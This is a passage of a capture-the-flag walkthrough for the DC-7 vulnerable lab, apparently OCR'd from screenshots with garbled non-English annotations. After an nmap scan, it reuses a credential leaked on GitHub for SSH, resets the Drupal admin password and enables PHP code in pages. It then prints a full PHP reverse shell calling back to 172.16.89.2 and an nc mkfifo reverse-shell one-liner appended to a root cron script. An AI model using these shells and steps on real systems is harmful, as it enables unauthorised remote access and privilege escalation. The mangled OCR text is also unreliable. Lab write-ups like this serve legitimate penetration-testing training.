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DESCRIPTION
DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
While this isn’t an overly technical challenge, it isn't exactly easy.

While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts
involved, but you will need to figure those out for yourself. (1 If you need to resort to brute forcing or dictionary attacks, you
probably won’t succeed.

What you will need to do, is to think “outside” of the box.

Waaaaaay “outside” of the box. [

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAUY for assistance to get you going
again. But take note: Iwon’'t give you the answer, instead, I'll give you an idea about how to move forward.
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Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-85 21:@@ CST

Nmap scan report for 172.16.89.1

Host is up (@.00@35s latency).

MAC Address: 3A:F9:D3:24:32:64 (Unknown)

Nmap scan report for 172.16.89.8

Host is up (@.0012s latency).

MAC Address: @0:@C:29:F@:A0:5E (VMware)

Nmap scan report for 172.16.89.2

Host 1s up.

Nmap done: 256 IP addresses (3 hosts up) scanned in 1.98 secopdf osp
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Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-05 21:00 CST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 21:00
Completed NSE at 21:00, 0.00s elapsed
Initiating NSE at 21:00
Completed NSE at 21:00, 0.00s elapsed
Initiating NSE at 21:00
Completed NSE at 21:00, 0.00s elapsed
Initiating ARP Ping Scan at 21:00
Scanning 172.16.89.8 [1 port]
Completed ARP Ping Scan at 21:00, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:00
Completed Parallel DNS resolution of 1 host. at 21:00, 0.00s elapsed
Initiating SYN Stealth Scan at 21:00
Scanning 172.16.89.8 [65535 ports]
Discovered open port 22/tcp on 172.16.89.8
Discovered open port 80/tcp on 172.16.89.8
Completed SYN Stealth Scan at 21:01, 4.85s elapsed (65535 total ports)
Initiating Service scan at 21:01
Scanning 2 services on 172.16.89.8
Completed Service scan at 21:01, 6.02s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 172.16.89.8
NSE: Script scanning 172.16.89.8.
Initiating NSE at 21:01
Completed NSE at 21:01, 0.65s elapsed
Initiating NSE at 21:01
Completed NSE at 21:01, 0.02s elapsed
Initiating NSE at 21:01
Completed NSE at 21:01, 0.00s elapsed
Nmap scan report for 172.16.89.8
Host is up (0.0011s latency).
Not shown: 65533 closed ports
STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4pl Debian 10+deb9u6 (protocol 2.9)




2048 d0:02:e9:c7:5d:95:32:ab:10:99:89:84:34:3d:1e:f9 (RSA)
256 d0:d6:40:35:a7:34:a9:0a:79:34:ee:a9:6a:dd:f4:8f (ECDSA)
| 256 a8:55:d5:76:93:ed:4f:6f:f1:f7:a1:84:2f:af:bb:el (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| _http-favicon: Unknown favicon MD5: CF2445DCB53A@31C@2F9B57E2199BCO3
| _http-generator: Drupal 8 (https://www.drupal.org)
| http-methods:
| Supported Methods: GET POST HEAD OPTIONS
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.txt /web.config /admin/
| /comment/reply/ /filter/tips /node/add/ /search/ /user/register/
| /user/password/ /user/login/ /user/logout/ /index.php/admin/
| _/index.php/comment/reply/
| _http-server-header: Apache/2.4.25 (Debian)
| http-title: Welcome to DC-7 | D7
MAC Address: 00:0C:29:F0:A0:5E (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
O0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:1linux:linux_kernel:4
0S details: Linux 3.2 - 4.9
Uptime guess: 0.003 days (since Tue Oct 5 20:57:21 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: 0OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 1.09 ms 172.16.89.8

NSE: Script Post-scanning.
Initiating NSE at 21:01
Completed NSE at 21:01, 0.00s elapsed
Initiating NSE at 21:01
Completed NSE at 21:01, 0.00s elapsed
Initiating NSE at 21:01
Completed NSE at 21:01, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 13.28 seconds
Raw packets sent: 65558 (2.885MB) | Rcvd: 65550 (2.623MB)
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@DC7USER
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DC7-User
@Dc7User

This is a Twitter Account for the DC-7 challenge. There isn't really a lot here.
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¥ master ~

¥ 1branch > 0tags

Dc7User Create README.md

config.php

L b DD DD DD DO

index.php

L O

login.php

)

logout.php

)

README.md

createdb.php

addusers.php

addusersdb.php

contact-info.php

createdata.php

createmany.php
createtables.php

displayall.php

fEconfig.php T R ILIK 5 %5

7 lines (7 sloc)

1 <?php
2

3

4

5

6

7 7>

2= web B it 5

Create README.md
Add files via upload
Add files via upload
Add files via upload
Add files via upload
Add files via upload
Add files via upload
Add files via upload
Add files via upload
Add files via upload
Add files via upload
Add files via upload

Add files via upload

184 Bytes
$servername = "localhost";
susername = "dc7user";

$password

"MdR3x0gB7#dW" ;

$dbname = "Staff";
$conn = mysqgli_connect($servername, $username, $password, $dbname);

6e3bde9 on 29 Aug 2019 D) 2 commits

2 years ago
2 years ago
2 years ago
2 years ago
2 years ago
2 years ago
2 years ago
2 years ago
2 years ago
2 years ago
2 years ago
2 years ago

2 years ago
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I € Unrecognized username or password. Forgot your password?

Search

Log 1n
Log in Reset your password

Username *

dc7user

dc7user

Password *

Enter the password that accompanies your username. FeRN @4
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: dc7usergl772.16.89.1
The authenticity of host 72.16.89.8 (172.16.89.8)" can't be established.
ECDSA key fingerprint is SHA! : 15; ] BNh3Ip4L+WzRKXaQ7 016G FTLfAYwkBIbMS .
Are you sure you want to e connecting (yes/no/[fingerprint])? yes
Warning: Permanently adde 72. ..BQ.B‘ (ECDSA) to the 1list of known hosts
dc7usermly2. 16 8's password:
Linux dc-7 4.9.8-9-amd64 #1 SMP Debian 4.9.168-1+deb9u5 (2019-88-11) x86_64

The programs included with the Debian GNU/Linux syste

the exact distribution terms for
individual files in fusr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY,
permitted by applicable law.

You have new mail.

Last login: Fri Aug 30 ©3:10:09 2019 from 192.168.0.100
dc7useradc-7:~%

dc7useradc-7:~% |

s F drushf& Bzadmin 5

cd /var/www/html

drush user-password admin --password="admin"

web/# Fadmin& [

B G 6 X BS% hitps://www.sevenlayers.com/index.php/164-drupal-to-reverse-shell Drupal J& & $#=2A K 75,35\ Manage—
>Extend—>List—>Install new module



) @ sl S ——

€« S5 8. © F==| 192.168.141.142/admin/modules

) Back to site E Manage * Shortcuts _!_ admin

 content l'h Structure ()\ Appearaisg ﬁo Extend |‘\ Configuration 11 People .||

Extend 77

List Update Uninstall

Home » Agministration

A Therdwas a problem checking available updates for Drupal.

Download addjtional contributed modules to extend your site's functionality.

Regularly review and install available updates to maintain a secure and current site. Always run the update sc

+ Install new module

Filter by name or description

Enter a part of the module name or description

I

p— — e
\ _A_.-"l. lr"_['l: l'| |

R aatly

V5 i) T #4814 https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz , L3 F B8 T3 EAA#R1T A%

AL 3h 5, AT Enable newly added modules

Update manager
+" Installation was completed successfully.

php
* Installed pAp successfully
Next steps

& |nstall another module

o| Enable newly added modules

s Administration pages

|'
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F) FILTERS &30, ‘&% PHP Filter, A FJ5 K Install



&« O @ F==| 192.168.141.142/admin/modules
) Back to site E Manage Yy Shortcuts _!_ admin

ki cContent rh Structure 4.2\ Appearance ﬁo Extend ‘-\ Configuration ".l People .|

4 Options » Defines selection, che
Telephone » Defines a field type fc
4 Text » Defines simple text fi
¥ FILTERS
] PHP Filter » Allows embedded PHI
.f_;’;"_” | rr_n/ A

EE|ET, EALIAK Tools £ pi i Add content -> Basic page, Text format i%&# PHP code



&« C @ A== 192.168.141.142/nodefadd/page
E Manage Yy Shortcuts ‘!_ admin

B content | h Structure 44 Appearance  Pe Extend 4 Configuration ‘I.L Pat

Create Basic page 7~
Home » Node » Add content

Title *

Body (Edit summary)

Text format| PHP code v

* You may post PHP code. You should include <7?php 7= tags.

¥| Publishad

BHA— php A shell B A]

3B —ANAT LLEEF B ) php JE#Y hitp:/pentestmonkey.net/tools/web-shells/php-reverse-shell

<?php

set_time_limit (0);
$VERSION = "1.0";
'172.16.89.2";
$port = 4444;
$chunk_size = 1400;
$write a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {

// Fork and have the parent process exit
$pid = pcntl_fork();




exit(1);
}

if ($pid) {
exit(0);
}

if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);

¥

$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");

}

chdir("/");
umask(9) ;

= fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
¥

$descriptorspec = array(
@ => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")

)5

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);

¥

stream_set blocking($pipes[0], 90);
stream_set_blocking($pipes[1], ©);
stream_set_blocking($pipes[2], ©);

stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");

break;

¥

if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");

break;

}

$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);




if (in_array($sock, $read_a)) {

if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);

}

if (in_array($pipes[1], $read_a)) {

if ($debug) printit("STDOUT READ");
$input = fread($pipes[1l], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);

}

if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);

if ($debug) printit("STDERR: $input");
fwrite($sock, $input);

function printit ($string) {
if (!$daemon) {
print "$string\n";




Create Basic page ir
Home » Node » Add content
Title *

q
Body (Edit summary)

oo ETET ST T

proc_close($process);

function printit (3string) {
if (1$daemon) {
print "$string\n”

o

=,

Text format | PHP code v

* You may post PHP code. You should include <?php 7= tags.

#| Publishad

kali ¥5 W7

Fiisave, BIhE#H

t~# nc - Lvp 44
ening on [any]
192.168.141.14 i
connect to [ . . .
Linux dc-7 4.9.0-8 .168 3 )-08 B4 GNU/Linux

J WHAT
32.168.141.134 18:50 38,0 ) : _bash
W - IjE'tE} group w-data
tty: job control turned off

kali ¥5Wr
nc -lvp 6666

5 A\ payload

cd /opt/scripts/
echo "mkfifo /tmp/bgro; nc 172.16.89.2 6666 0</tmp/bgro | /bin/sh >/tmp/bgro 2>&1; rm /tmp/bgro" >> /opt/scripts

/backups.sh
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Congratulations!!!

Hope you enjoyed DC-7. ] t wante : a thanks out there to 1
[=

who have provided feedback, a a ¢ e taken the time to complete these little

challenges.
I'm sending out am especially big thanks to:
a4nqr

aD4miany
Qdxmz

If you enjoyed this CTF, send me a tweet via
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